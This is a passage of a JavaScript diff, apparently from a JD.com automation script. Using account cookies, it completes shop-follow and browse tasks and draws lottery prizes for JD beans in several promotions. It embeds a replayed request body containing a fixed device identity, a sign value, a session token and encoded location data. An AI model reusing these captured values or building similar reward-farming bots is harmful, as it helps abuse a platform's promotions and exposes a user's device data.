const options = { + url: `https://api.m.jd.com/?t=${Date.now()}&appid=sharkBean&functionId=vvipclub_shaking_info`, + headers: { + "accept": "application/json", + "accept-encoding": "gzip, deflate, br", + "accept-language": "zh-CN,zh;q=0.9", + "cookie": cookie, + "origin": "https://skuivip.jd.com", + "referer": "https://skuivip.jd.com/", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(`\n${$.name}: API查询请求失败 ‼️‼️`) + $.logErr(err); + } else { + // console.log(data) + data = JSON.parse(data); + if (data.success) { + $.leftShakingTimes = data.data.leftShakingTimes;//剩余抽奖次数 + console.log(`京东会员——摇奖次数${$.leftShakingTimes}`); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +//京东会员摇奖API +function vvipclub_shaking_lottery() { + return new Promise(resolve => { + const options = { + url: `https://api.m.jd.com/?t=${Date.now()}&appid=sharkBean&functionId=vvipclub_shaking_lottery&body=%7B%7D`, + headers: { + "accept": "application/json", + "accept-encoding": "gzip, deflate, br", + "accept-language": "zh-CN,zh;q=0.9", + "cookie": cookie, + "origin": "https://skuivip.jd.com", + "referer": "https://skuivip.jd.com/", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(`\n${$.name}: API查询请求失败 ‼️‼️`) + $.logErr(err); + } else { + // console.log(data) + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +//领取京东会员本摇一摇一次免费的次数 +function vvipclub_receive_lottery_times() { + return new Promise(resolve => { + const options = { + url: `https://api.m.jd.com/?t=${Date.now()}&appid=sharkBean&functionId=vvipclub_receive_lottery_times`, + headers: { + "accept": "application/json", + "accept-encoding": "gzip, deflate, br", + "accept-language": "zh-CN,zh;q=0.9", + "cookie": cookie, + "origin": "https://skuivip.jd.com", + "referer": "https://skuivip.jd.com/", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(`\n${$.name}: API查询请求失败 ‼️‼️`) + $.logErr(err); + } else { + // console.log(data) + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +//查询多少次机会 +function getFreeTimes() { + return new Promise(resolve => { + $.get(taskUrl('vvipclub_luckyBox', { "info": "freeTimes" }), (err, resp, data) => { + try { + if (err) { + console.log(`\n${$.name}: API查询请求失败 ‼️‼️`) + $.logErr(err); + } else { + // console.log(data) + data = JSON.parse(data); + if (data.success) { + $.freeTimes = data.data.freeTimes; + console.log(`摇京豆——摇奖次数${$.freeTimes}`); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +function getTask(info) { + return new Promise(resolve => { + $.get(taskUrl('vvipclub_lotteryTask', { info, "withItem": true }), (err, resp, data) => { + try { + if (err) { + console.log(`\n${$.name}: API查询请求失败 ‼️‼️`) + $.logErr(err); + } else { + // console.log(data) + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function doTask(taskName, taskItemId) { + return new Promise(resolve => { + $.get(taskUrl('vvipclub_doTask', { taskName, taskItemId }), (err, resp, data) => { + try { + if (err) { + console.log(`\n${$.name}: API查询请求失败 ‼️‼️`) + $.logErr(err); + } else { + // console.log(data) + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function shakeBean() { + return new Promise(resolve => { + $.get(taskUrl('vvipclub_shaking', { "type": '0' }), (err, resp, data) => { + try { + if (err) { + console.log(`\n${$.name}: API查询请求失败 ‼️‼️`) + $.logErr(err); + } else { + // console.log(`摇奖结果:${data}`) + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +//新版超级本摇一摇 +async function superShakeBean() { + await superBrandMainPage(); + if ($.activityId && $.encryptProjectId) { + await superBrandTaskList(); + await superBrandDoTaskFun(); + await superBrandMainPage(); + await lo(); + } + if ($.ActInfo) { + await fc_getHomeData($.ActInfo);//获取任务列表 + await doShakeTask($.ActInfo);//做任务 + await fc_getHomeData($.ActInfo, true);//做完任务后查询多少次摇奖次数 + await superShakeLottery($.ActInfo);//开始摇奖 + } else { + console.log(`\n\n京东APP首页超级摇一摇:目前暂无活动\n\n`) + } +} +function welcomeHome() { + return new Promise(resolve => { + const data = { + "homeAreaCode": "", + "identity": "88732f840b77821b345bf07fd71f609e6ff12f43", + "fQueryStamp": "", + "globalUIStyle": "9.0.0", + "showCate": "1", + "tSTimes": "", + "geoLast": "", + "geo": "", + "cycFirstTimeStamp": "", + "displayVersion": "9.0.0", + "geoReal": "", + "controlMaterials": "", + "xviewGuideFloor": "index,category,find,cart,home", + "fringe": "", + "receiverGeo": "" + } + const options = { + url: `https://api.m.jd.com/client.action?functionId=welcomeHome`, + // url: `https://api.m.jd.com/client.action?functionId=welcomeHome&body=${escape(JSON.stringify(data))}&uuid=8888888&client=apple&clientVersion=9.4.1&st=1618538579097&sign=e29d09be25576be52ec22a3bb74d4f86&sv=100`, + // body: `body=${escape(JSON.stringify(data))}`, + body: `body=%7B%22homeAreaCode%22%3A%220%22%2C%22identity%22%3A%2288732f840b77821b345bf07fd71f609e6ff12f43%22%2C%22cycNum%22%3A1%2C%22fQueryStamp%22%3A%221619741900009%22%2C%22globalUIStyle%22%3A%229.0.0%22%2C%22showCate%22%3A%221%22%2C%22tSTimes%22%3A%220%22%2C%22geoLast%22%3A%22K3%252BcQaJxm9FzAm8%252BYHBwQKEMnguxItJAtNhFQOgUkktO5Vmidb%252BfKedLYq%252Fjlnc%252BK0ZsoA8jI8yXkYA6M2L5NYrGdBxZPbV%252FzT%252BU%252BHaCeNg%253D%22%2C%22geo%22%3A%22CZQirfKpZqpcvvBN0KadX76P55F3UdFoB2C3P0ZyHOXZWjeifB1aM0xH3BWx0YRlyu4eaUsfA3KpuoAraiffcw%253D%253D%22%2C%22cycFirstTimeStamp%22%3A%221619740961090%22%2C%22displayVersion%22%3A%229.0.0%22%2C%22geoReal%22%3A%22CZQirfKpZqpcvvBN0KadX76P55F3UdFoB2C3P0ZyHOXtnAGs7wzWHMkTSTIEj7qi%22%2C%22controlMaterials%22%3A%22null%22%2C%22xviewGuideFloor%22%3A%22index%2Ccategory%2Cfind%2Ccart%2Chome%22%2C%22fringe%22%3A%221%22%2C%22receiverGeo%22%3A%22mTBeEjk2Q83Kb3%252Fylt2Amm7iguwnhvKDgDnR18TktRpedJcPIHjALOIwGuNKAgau%22%7D&client=apple&clientVersion=9.4.6&d_brand=apple&isBackground=N&joycious=104&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.3&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=69cc68677ae63b0a8737602766a0a340&st=1619741900013&sv=111&uts=0f31TVRjBSujckcdxhii7gq9cidRV4uxtCNZpaQs9IOuG5PD2oGme36aUnsUBSyCtrnCzcJjRQzsekOXnNu9XyW4W2UAsnnZ06POovikHhGabI9pwW8ZeJ2vmOBTWqWjA66DWDvRHGVeJeXzsm5xolz7r%2FX0APYfhg8I5QBwgKJfD3hzoXkHcnsGfMhHncRzuC4iOtgVG8L%2FnQyyNwXAJQ%3D%3D&uuid=hjudwgohxzVu96krv%2FT6Hg%3D%3D&wifiBssid=unknown`, + headers: { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-Hans-CN;q=1, zh-Hant-CN;q=0.9", + "Connection": "keep-alive", + "Content-Length": "1761", + "Content-Type": "application/x-www-form-urlencoded", + "Host": "api.m.jd.com", + "User-Agent": "JD4iPhone/167588 (iPhone; iOS 14.3; Scale/2.00)" + } + } + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} welcomeHome API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['floorList'] && data['floorList'].length) { + const shakeFloorNew = data['floorList'].filter(vo => !!vo && vo.type === 'shakeFloorNew')[0]; + const shakeFloorNew2 = data['floorList'].filter(vo => !!vo && vo.type === 'float')[0]; + // console.log('shakeFloorNew2', JSON.stringify(shakeFloorNew2)) + if (shakeFloorNew) { + const jump = shakeFloorNew['jump']; + if (jump && jump.params && jump['params']['url']) { + $.superShakeUrl = jump.params.url;//有活动链接,但活动可能已过期,需做进一步判断 + console.log(`【超级摇一摇】活动链接:${jump.params.url}`); + } + } + if (shakeFloorNew2) { + const jump = shakeFloorNew2['jump']; + if (jump && jump.params && jump['params']['url'].includes('https://h5.m.jd.com/babelDiy/Zeus/2PTXhrEmiMEL3mD419b8Gn9bUBiJ/index.html')) { + console.log(`【超级品牌日】活动链接:${jump.params.url}`); + $.superbrandUrl = jump.params.url; + } + } + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +//=========老版本超级摇一摇================ +function getActInfo(url) { + return new Promise(resolve => { + $.get({ + url, + headers:{ + // 'Cookie': cookie, + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + }, + timeout: 10000 + },async (err,resp,data)=>{ + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = data && data.match(/window\.__FACTORY__TAOYIYAO__STATIC_DATA__ = (.*)}/) + if (data) { + data = JSON.parse(data[1] + '}'); + if (data['pageConfig']) superShakeBeanConfig['superShakeTitle'] = data['pageConfig']['htmlTitle']; + if (data['taskConfig']) { + $.ActInfo = data['taskConfig']['taskAppId']; + console.log(`\n获取【${superShakeBeanConfig['superShakeTitle']}】活动ID成功:${$.ActInfo}\n`); + } + } + } + } catch (e) { + console.log(e) + } + finally { + resolve() + } + }) + }) +} +function fc_getHomeData(appId, flag = false) { + return new Promise(resolve => { + const body = { appId } + const options = taskPostUrl('fc_getHomeData', body) + $.taskVos = []; + $.lotteryNum = 0; + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} fc_getHomeData API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['code'] === 0) { + if (data['data']['bizCode'] === 0) { + const taskVos = data['data']['result']['taskVos'] || []; + if (flag && $.index === 1) { + superShakeBeanConfig['superShakeBeanFlag'] = true; + superShakeBeanConfig['taskVipName'] = taskVos.filter(vo => !!vo && vo['taskType'] === 21)[0]['taskName']; + } + superShakeBeanConfig['superShakeUlr'] = $.superShakeUrl; + $.taskVos = taskVos.filter(item => !!item && item['status'] === 1) || []; + $.lotteryNum = parseInt(data['data']['result']['lotteryNum']); + $.lotTaskId = parseInt(data['data']['result']['lotTaskId']); + } else if (data['data']['bizCode'] === 101) { + console.log(`京东APP首页超级摇一摇: ${data['data']['bizMsg']}`); + } + } else { + console.log(`获取超级摇一摇任务数据异常: ${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +async function doShakeTask(appId) { + for (let vo of $.taskVos) { + if (vo['taskType'] === 21) { + console.log(`超级摇一摇 ${vo['taskName']} 跳过`); + continue + } + if (vo['taskType'] === 9) { + console.log(`开始做 ${vo['taskName']},等10秒`); + const shoppingActivityVos = vo['shoppingActivityVos']; + for (let task of shoppingActivityVos) { + await fc_collectScore({ + appId, + "taskToken": task['taskToken'], + "taskId": vo['taskId'], + "itemId": task['itemId'], + "actionType": 1 + }) + await $.wait(10000) + await fc_collectScore({ + appId, + "taskToken": task['taskToken'], + "taskId": vo['taskId'], + "itemId": task['itemId'], + "actionType": 0 + }) + } + } + if (vo['taskType'] === 1) { + console.log(`开始做 ${vo['taskName']}, 等8秒`); + const followShopVo = vo['followShopVo']; + for (let task of followShopVo) { + await fc_collectScore({ + appId, + "taskToken": task['taskToken'], + "taskId": vo['taskId'], + "itemId": task['itemId'], + "actionType": 1 + }) + await $.wait(9000) + await fc_collectScore({ + appId, + "taskToken": task['taskToken'], + "taskId": vo['taskId'], + "itemId": task['itemId'], + "actionType": 0 + }) + } + } + } +} +function fc_collectScore(body) { + return new Promise(resolve => { + const options = taskPostUrl('fc_collectScore', body) + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} fc_collectScore API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + console.log(`${JSON.stringify(data)}`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +async function superShakeLottery(appId) { + if ($.lotteryNum) console.log(`\n\n开始京东APP首页超级摇一摇 摇奖`); + for (let i = 0; i < new Array($.lotteryNum).fill('').length; i++) { + await fc_getLottery(appId);//抽奖 + await $.wait(1000) + } + if ($.superShakeBeanNum > 0) { + message += `${message ? '\n' : ''}${superShakeBeanConfig['superShakeTitle']}:获得${$.superShakeBeanNum}京豆` + allMessage += `京东账号${$.index}${$.nickName || $.UserName}\n${superShakeBeanConfig['superShakeTitle']}:获得${$.superShakeBeanNum}京豆${$.index !== cookiesArr.length ? '\n\n' : ''}`; + } +} +function fc_getLottery(appId) { + return new Promise(resolve => { + const body = {appId, "taskId": $.lotTaskId} + const options = taskPostUrl('fc_getLotteryResult', body) + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} fc_collectScore API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data && data['data']['bizCode'] === 0) { + $.myAwardVo = data['data']['result']['myAwardVo']; + if ($.myAwardVo) { + console.log(`超级摇一摇 抽奖结果:${JSON.stringify($.myAwardVo)}`) + if ($.myAwardVo['type'] === 2) { + $.superShakeBeanNum = $.superShakeBeanNum + parseInt($.myAwardVo['jBeanAwardVo']['quantity']); + } + } + } else { + console.log(`超级摇一摇 抽奖异常: ${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +//===================新版超级本摇一摇============== +function superBrandMainPage() { + return new Promise(resolve => { + const body = {"source":"main"}; + const options = superShakePostUrl('superBrandMainPage', body) + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} superBrandTaskList API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['code'] === '0') { + if (data['data']['bizCode'] === '0') { + //superShakeBeanConfig['superShakeUlr'] = jump.params.url; + //console.log(`【超级摇一摇】活动链接:${superShakeBeanConfig['superShakeUlr']}`); + superShakeBeanConfig['superShakeUlr'] = $.superShakeUrl; + $.activityId = data['data']['result']['activityBaseInfo']['activityId']; + $.encryptProjectId = data['data']['result']['activityBaseInfo']['encryptProjectId']; + $.activityName = data['data']['result']['activityBaseInfo']['activityName']; + $.userStarNum = Number(data['data']['result']['activityUserInfo']['userStarNum']) || 0; + superShakeBeanConfig['superShakeTitle'] = $.activityName; + console.log(`${$.activityName} 当前共有积分:${$.userStarNum},可抽奖:${parseInt($.userStarNum / 100)}次(最多4次摇奖机会)\n`); + } else { + console.log(`\n【新版本 超级摇一摇】获取信息失败:${data['data']['bizMsg']}\n`); + } + } else { + console.log(`获取超级摇一摇信息异常:${JSON.stringify(data)}\n`); + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +function superBrandTaskList() { + return new Promise(resolve => { + $.taskList = []; + const body = {"activityId": $.activityId, "assistInfoFlag": 4, "source": "main"}; + const options = superShakePostUrl('superBrandTaskList', body) + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} superBrandTaskList API请求失败,请检查网路重试`) + } else { + if (data) { + // console.log(data); + data = JSON.parse(data); + if (data['code'] === '0' && data['data']['bizCode'] === '0') { + $.taskList = data['data']['result']['taskList']; + $.canLottery = $.taskList.filter(vo => !!vo && vo['assignmentTimesLimit'] === 4)[0]['completionFlag'] + } else { + console.log(`获取超级摇一摇任务异常:${JSON.stringify(data)}`); + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +async function superBrandDoTaskFun() { + $.taskList = $.taskList.filter(vo => !!vo && !vo['completionFlag'] && (vo['assignmentType'] !== 6 && vo['assignmentType'] !== 7 && vo['assignmentType'] !== 0 && vo['assignmentType'] !== 30)); + for (let item of $.taskList) { + if (item['assignmentType'] === 1) { + const { ext } = item; + console.log(`开始做 ${item['assignmentName']},需等待${ext['waitDuration']}秒`); + const shoppingActivity = ext['shoppingActivity']; + for (let task of shoppingActivity) { + await superBrandDoTask({ + "activityId": $.activityId, + "encryptProjectId": $.encryptProjectId, + "encryptAssignmentId": item['encryptAssignmentId'], + "assignmentType": item['assignmentType'], + "itemId": task['itemId'], + "actionType": 1, + "source": "main" + }) + await $.wait(1000 * ext['waitDuration']) + await superBrandDoTask({ + "activityId": $.activityId, + "encryptProjectId": $.encryptProjectId, + "encryptAssignmentId": item['encryptAssignmentId'], + "assignmentType": item['assignmentType'], + "itemId": task['itemId'], + "actionType": 0, + "source": "main" + }) + } + } + if (item['assignmentType'] === 3) { + const { ext } = item; + console.log(`开始做 ${item['assignmentName']}`); + const followShop = ext['followShop']; + for (let task of followShop) { + await superBrandDoTask({ + "activityId": $.activityId, + "encryptProjectId": $.encryptProjectId, + "encryptAssignmentId": item['encryptAssignmentId'], + "assignmentType": item['assignmentType'], + "itemId": task['itemId'], + "actionType": 0, + "source": "main" + }) + } + } + if (item['assignmentType'] === 2) { + const { ext } = item; + const assistTaskDetail = ext['assistTaskDetail']; + console.log(`${item['assignmentName']}好友邀请码: ${assistTaskDetail['itemId']}`) + if (assistTaskDetail['itemId']) $.assigFirends.push({ + itemId: assistTaskDetail['itemId'], + encryptAssignmentId: item['encryptAssignmentId'], + assignmentType: item['assignmentType'], + }); + } + } +} +function superBrandDoTask(body) { + return new Promise(resolve => { + const options = superShakePostUrl('superBrandDoTask', body) + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} superBrandTaskList API请求失败,请检查网路重试`) + } else { + if (data) { + if (body['assignmentType'] === 2) { + console.log(`助力好友 ${body['itemId']}结果 ${data}`); + } else { + console.log('做任务结果', data); + } + data = JSON.parse(data); + if (data && data['code'] === '0' && data['data']['bizCode'] === '108') { + $.canHelp = false; + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +async function lo() { + const num = parseInt(($.userStarNum || 0) / 100); + if (!$.canLottery) { + for (let i = 0; i < new Array(num).fill('').length; i++) { + await $.wait(1000); + await superBrandTaskLottery(); + } + } + if ($.superShakeBeanNum > 0) { + message += `${message ? '\n' : ''}${$.activityName || '超级摇一摇'}:获得${$.superShakeBeanNum}京豆\n`; + allMessage += `京东账号${$.index}${$.nickName || $.UserName}\n${superShakeBeanConfig['superShakeTitle']}:获得${$.superShakeBeanNum}京豆${$.index !== cookiesArr.length ? '\n\n' : ''}`; + } +} +function superBrandTaskLottery() { + return new Promise(resolve => { + const body = { "activityId": $.activityId, "source": "main" } + const options = superShakePostUrl('superBrandTaskLottery', body) + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} superBrandDoTaskLottery API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data && data['code'] === '0') { + if (data['data']['bizCode'] === "TK000") { + $.rewardComponent = data['data']['result']['rewardComponent']; + if ($.rewardComponent) { + console.log(`超级摇一摇 抽奖结果:${JSON.stringify($.rewardComponent)}`) + if ($.rewardComponent.beanList && $.rewardComponent.beanList.length) { + console.log(`获得${$.rewardComponent.beanList[0]['quantity']}京豆`) + $.superShakeBeanNum += parseInt($.rewardComponent.beanList[0]['quantity']); + } + } + } else if (data['data']['bizCode'] === "TK1703") { + console.log(`超级摇一摇 抽奖失败:${data['data']['bizMsg']}`); + } else { + console.log(`超级摇一摇 抽奖失败:${data['data']['bizMsg']}`); + } + } else { + console.log(`超级摇一摇 抽奖异常: ${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +//============超级品牌日============== +async function superbrandShakeBean() { + $.bradCanLottery = true;//是否有超级品牌日活动 + $.bradHasLottery = false;//是否已抽奖 + await qryCompositeMaterials("advertGroup", "04405074", "Brands");//获取品牌活动ID + await superbrand_getHomeData(); + if (!$.bradCanLottery) { + console.log(`【${$.stageName} 超级品牌日】:活动不在进行中`) + return + } + if ($.bradHasLottery) { + console.log(`【${$.stageName} 超级品牌日】:已完成抽奖`) + return + } + await superbrand_getMaterial();//获取完成任务所需的一些ID + await qryCompositeMaterials();//做任务 + await superbrand_getGift();//抽奖 +} +function superbrand_getMaterial() { + return new Promise(resolve => { + const body = {"brandActivityId":$.brandActivityId} + const options = superShakePostUrl('superbrand_getMaterial', body) + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} superbrand_getMaterial API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data) + if (data['code'] === 0) { + if (data['data']['bizCode'] === 0) { + const { result } = data['data']; + $.cmsTaskShopId = result['cmsTaskShopId']; + $.cmsTaskLink = result['cmsTaskLink']; + $.cmsTaskGroupId = result['cmsTaskGroupId']; + console.log(`【cmsTaskGroupId】:${result['cmsTaskGroupId']}`) + } else { + console.log(`超级超级品牌日 ${data['data']['bizMsg']}`) + } + } else { + console.log(`超级超级品牌日 异常: ${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +function qryCompositeMaterials(type = "productGroup", id = $.cmsTaskGroupId, mapTo = "Tasks0") { + return new Promise(resolve => { + const t1 = {type, id, mapTo} + const qryParam = JSON.stringify([t1]); + const body = { + qryParam, + "activityId": $.brandActivityId2, + "pageId": "1411763", + "reqSrc": "jmfe", + "geo": {"lng": "", "lat": ""} + } + const options = taskPostUrl('qryCompositeMaterials', body) + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} qryCompositeMaterials API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['code'] === '0') { + if (mapTo === 'Brands') { + $.stageName = data.data.Brands.stageName; + console.log(`\n\n【${$.stageName} brandActivityId】:${data.data.Brands.list[0].extension.copy1}`) + $.brandActivityId = data.data.Brands.list[0].extension.copy1 || $.brandActivityId; + } else { + const { list } = data['data']['Tasks0']; + console.log(`超级品牌日,做关注店铺 任务`) + let body = {"brandActivityId": $.brandActivityId, "taskType": "1", "taskId": $.cmsTaskShopId} + await superbrand_doMyTask(body); + console.log(`超级品牌日,逛品牌会场 任务`) + body = {"brandActivityId": $.brandActivityId, "taskType": "2", "taskId": $.cmsTaskLink} + await superbrand_doMyTask(body); + console.log(`超级品牌日,浏览下方指定商品 任务`) + for (let item of list.slice(0, 3)) { + body = {"brandActivityId": $.brandActivityId, "taskType": "3", "taskId": item['skuId']}; + await superbrand_doMyTask(body); + } + } + } else { + console.log(`qryCompositeMaterials异常: ${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +//做任务API +function superbrand_doMyTask(body) { + return new Promise(resolve => { + const options = superShakePostUrl('superbrand_doMyTask', body) + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} superbrand_doMyTask API请求失败,请检查网路重试`) + } else { + if (data) { + // data = JSON.parse(data) + console.log(`超级品牌日活动做任务结果:${data}\n`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +function superbrand_getGift() { + return new Promise(resolve => { + const body = {"brandActivityId":$.brandActivityId} + const options = superShakePostUrl('superbrand_getGift', body) + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} superbrand_getGift API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data) + if (data['code'] === 0) { + if (data['data']['bizCode'] === 0) { + const { result } = data['data']; + $.jpeasList = result['jpeasList']; + if ($.jpeasList && $.jpeasList.length) { + for (let item of $.jpeasList) { + console.log(`超级品牌日 抽奖 获得:${item['quantity']}京豆🐶`); + message += `【超级品牌日】获得:${item['quantity']}京豆🐶\n`; + if ($.superShakeBeanNum === 0) { + allMessage += `京东账号${$.index}${$.nickName || $.UserName}\n【超级品牌日】获得:${item['quantity']}京豆🐶\n`; + } else { + allMessage += `【超级品牌日】获得:${item['quantity']}京豆🐶\n`; + } + } + } + } else { + console.log(`超级超级品牌日 抽奖失败: ${data['data']['bizMsg']}`) + } + } else { + console.log(`超级超级品牌日 抽奖 异常: ${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +function superbrand_getHomeData() { + return new Promise(resolve => { + const body = {"brandActivityIds": $.brandActivityId} + const options = superShakePostUrl('superbrand_getHomeData', body) + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} superbrand_getHomeData API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data) + if (data['code'] === 0) { + if (data['data']['bizCode'] === 0) { + const { result } = data['data']; + if (result && result.length) { + if (result[0]['activityStatus'] === "2" && result[0]['taskVos'].length) $.bradHasLottery = true; + } + } else { + console.log(`超级超级品牌日 getHomeData 失败: ${data['data']['bizMsg']}`) + if (data['data']['bizCode'] === 101) { + $.bradCanLottery = false; + } + } + } else { + console.log(`超级超级品牌日 getHomeData 异常: ${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +//=================京东小魔方================= +async function mofang() { + try { + await getInteractionInfo(); + await executeNewInteractionTaskFun(); + await getInteractionInfo(false); + for (let i = 0; i < new Array($.lotteryNum).fill('').length; i++) { + await getNewLotteryInfo(); + await $.wait(200); + } + if ($.moFangBeanNum > 0) { + message += `${message ? '\n' : ''}京东小魔方:获得${$.moFangBeanNum}京豆\n`; + allMessage += `京东账号${$.index}${$.nickName || $.UserName}\n京东小魔方:获得${$.moFangBeanNum}京豆${$.index !== cookiesArr.length ? '\n\n' : ''}`; + } + } catch (e) { + $.logErr(e) + } +} +function getInteractionInfo(info = true) { + $.taskSkuInfo = []; + $.taskList = []; + $.shopInfoList = []; + $.lotteryNum = 0; + return new Promise(resolve => { + const body = {} + const options = superShakePostUrl('getInteractionInfo', body) + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} 小魔方 getInteractionInfo API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data) + if (data['result'] && data['result']['code'] === 0) { + const { result } = data; + if (info) console.log(`\n\n京东小魔方:${result['brandName']}`) + $.taskSkuInfo = result['taskSkuInfo'] || []; + $.taskList = result['taskPoolInfo']['taskList'] || []; + $.taskPoolId = result['taskPoolInfo']['taskPoolId']; + $.taskSkuNum = result['taskSkuNum']; + $.interactionId = result['interactionId']; + $.shopInfoList = result['shopInfoList'] || []; + $.lotteryNum = result['lotteryInfo']['lotteryNum'] || 0; + if (!info) console.log(`京东小魔方当前抽奖次数:${$.lotteryNum}\n`) + } else { + console.log(`小魔方 getInteractionInfo 异常: ${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +async function executeNewInteractionTaskFun() { + $.taskList = $.taskList.filter(vo => !!vo && vo['taskStatus'] === 0) + for (let item of $.taskList) { + if (item['taskId'] === 9) { + console.log(`开始做:【${item['taskTitle']}】任务`) + const body = {"interactionId": $.interactionId, "taskPoolId": $.taskPoolId, "taskType": item['taskId']} + await executeNewInteractionTask(body); + } else if (item['taskId'] === 4) { + $.taskSkuInfo = $.taskSkuInfo.filter(vo => !!vo && vo['browseStatus'] === 0); + console.log(`开始做:【${item['taskTitle']}】任务`) + for (let v of $.taskSkuInfo) { + const body = 